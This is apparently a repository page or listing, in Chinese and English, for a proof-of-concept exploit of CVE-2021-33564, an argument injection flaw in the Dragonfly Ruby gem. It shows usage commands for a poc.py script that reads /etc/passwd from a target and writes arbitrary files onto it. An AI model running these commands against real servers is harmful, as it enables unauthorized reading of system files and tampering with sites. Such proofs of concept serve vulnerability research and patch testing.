CVE-2021-33564 PoC — Ruby 参数注入漏洞

Description

Argument Injection in Dragonfly Ruby Gem exploit (backup)

介绍

# CVE-2021-33564 PoC
Exploit script for CVE-2021-33564 (Argument Injection in Dragonfly Ruby Gem).

## Usage

### Arbitrary File Read

`python3 poc.py -u https://<target_url>/system/refinery/images -r /etc/passwd`

### Arbitrary File Write

`python3 poc.py -u https://<target_url>/system/refinery/images -w public/test.txt -c test.txt -lu http://<local_url>`

For more information, please visit the blog.

文件快照

备注